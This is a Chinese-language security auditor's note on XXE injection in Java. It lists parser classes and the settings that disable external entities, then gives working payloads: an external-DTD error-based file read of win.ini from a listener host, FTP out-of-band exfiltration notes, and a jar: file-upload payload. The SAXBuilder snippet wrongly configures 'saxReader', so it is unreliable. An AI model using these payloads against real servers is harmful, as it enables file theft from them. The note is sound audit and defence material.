前言
对审计XXE注入总结的一些知识点,主要是方便自己看
解析XML的函数
审计时根据关键字全局搜索,在看是否禁用外部实现引用,最后在向上回溯是否可控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParserFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
oracle.xml.parser.v2.DOMParser
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
XMLInputFactory
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
......
|
XXE注入防御
XXE注入的防御,禁用外部实体引用就可以防御绝大数的攻击,但是根据解析xml不同的工具类,设置的参数也不相同,下面根据不同的工具类来进行防御参数的设置。
目前不太全,待以后补充
DocumentBuilderFactory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//包括外部一般实体。 默认为true
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
//包括外部参数实体和外部 DTD 子集。 默认为true
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//加载外部 DTD。 默认为true
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
//实际利用示例
DocumentBuilder documentBuilder = dbf.newDocumentBuilder();
documentBuilder.parse(new File("aaa.xml"));
|
SAXParserFactory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
saxParserFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//包括外部一般实体。 默认为true
saxParserFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
//包括外部参数实体和外部 DTD 子集。 默认为true
saxParserFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//加载外部 DTD。 默认为true
saxParserFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
//实际利用示例
SAXParser saxParser = saxParserFactory.newSAXParser();
saxParser.parse(new File("aaa.xml"),new HandlerBase());
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
XMLInputFactory factory = XMLInputFactory.newInstance();
//这将完全禁用该工厂的DTD
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
//这会导致在访问外部DTD时引发XMLStreamException
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
//禁用外部实体
factory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
//实际利用示例
XMLStreamReader reader = factory.createXMLStreamReader(new FileInputStream(new File("aaa.xml")));
reader.next();
或
reader.nextTag();
|
DOMParser
1
2
3
4
5
6
7
8
9
10
11
12
13
|
DOMParser domParser = new DOMParser();
//不展开实体引用
domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false);
//dtdObj是oracle.xml.parser.v2.DTD的实例
domParser.setAttribute(DOMParser.DTD_OBJECT, dtdObj);
//不允许超过11个级别的实体扩展
domParser.setAttribute(DOMParser.ENTITY_EXPANSION_DEPTH, 12);
//实际利用示例
domParser.parse(new InputSource(new FileInputStream(new File("aaa.xml"))));
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
TransformerFactory tf = TransformerFactory.newInstance();
//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_STYLESHEET = "http://javax.xml.XMLConstants/property/accessExternalStylesheet"
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
//实际利用示例
Transformer transformer = tf.newTransformer();
transformer.transform(new StreamSource(new File("aaa.xml")), new StreamResult("bbb.xml"));
|
Validator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_SCHEMA = "http://javax.xml.XMLConstants/property/accessExternalSchema"
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
//实际利用示例
validator.validate(new StreamSource(new File("aaa.xml")));
|
SchemaFactory
1
2
3
4
5
6
7
8
9
10
11
12
|
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_SCHEMA = "http://javax.xml.XMLConstants/property/accessExternalSchema"
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
//实际利用示例
Schema schema = factory.newSchema(new File("aaa.xml"));
|
1
2
3
4
5
6
7
8
9
10
11
12
|
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_STYLESHEET = "http://javax.xml.XMLConstants/property/accessExternalStylesheet"
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
//实际利用示例
sf.newXMLFilter(new StreamSource(new File("aaa.xml")));
|
XMLReader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
XMLReader reader = XMLReaderFactory.createXMLReader();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//包括外部一般实体。 默认为true
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
//包括外部参数实体和外部 DTD 子集。 默认为true
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//加载外部 DTD。 默认为true
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
//实际利用示例
reader.parse(new InputSource(new FileInputStream(new File("aaa.xml"))));
|
SAXReader
1
2
3
4
5
6
7
8
9
10
11
12
13
|
SAXReader saxReader = new SAXReader();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//包括外部一般实体。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
//包括外部参数实体和外部 DTD 子集。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//实际利用示例
saxReader.read(new File("aaa.xml"));
|
SAXBuilder
1
2
3
4
5
6
7
8
9
10
11
12
13
|
SAXBuilder builder = new SAXBuilder();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//包括外部一般实体。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
//包括外部参数实体和外部 DTD 子集。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//实际利用示例
builder.build(new File("aaa.xml"));
|
Digester
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Digester digester = new Digester();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//包括外部一般实体。 默认为true
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
//包括外部参数实体和外部 DTD 子集。 默认为true
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//实际利用示例
digester.parse(new File("aaa.xml"));
|
一些利用方式
利用报错回显文件内容
XML文件:
1
2
3
4
5
6
|
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://127.0.0.1:9999/evil.dtd">
%ext;
]>
<message></message>
|
外部dtd文档:
1
2
3
4
|
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
|
无回显情况下利用FTP协议
利用FTP协议回显对jdk版本是有限制的,体现为对文件内容\n
的检测
1
2
3
4
5
|
< 7u141 或 < 8u131:不会受文件中\n的影响
> jdk8u131:能创建FTP连接,外带文件内容中含有\n则抛出异常
// 本地用jdk-11.0.15 测试了一下依然可以创建FTP连接读取不含有\n的文件
> jdk8u232:不能创建FTP连接,只要url中含有\n就会抛出异常
|
利用ftp协议工具,开启服务,其中xml内容根据需求更改
利用jar协议上传文件
利用jar协议上传文件时,无法控制上传目录、名称和扩展名,并且在协议断开时文件会被删除,因此利用工具使文件长时间停留在服务器上。
XMl文件:
1
2
3
4
5
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY data SYSTEM "jar:http://127.0.0.1:9999/aaa.zip!/aaa.txt">
]>
<foo>&data;</foo>
|
该工具利用时,会将指定的qwe.txt
上传至服务器,格式如图中所示,此时在xml中指定的zip可以随意更改。
实际利用很小,可参考ZOHO ADAudit Plus的洞,还可以根据报错或者file协议去找文件上传的位置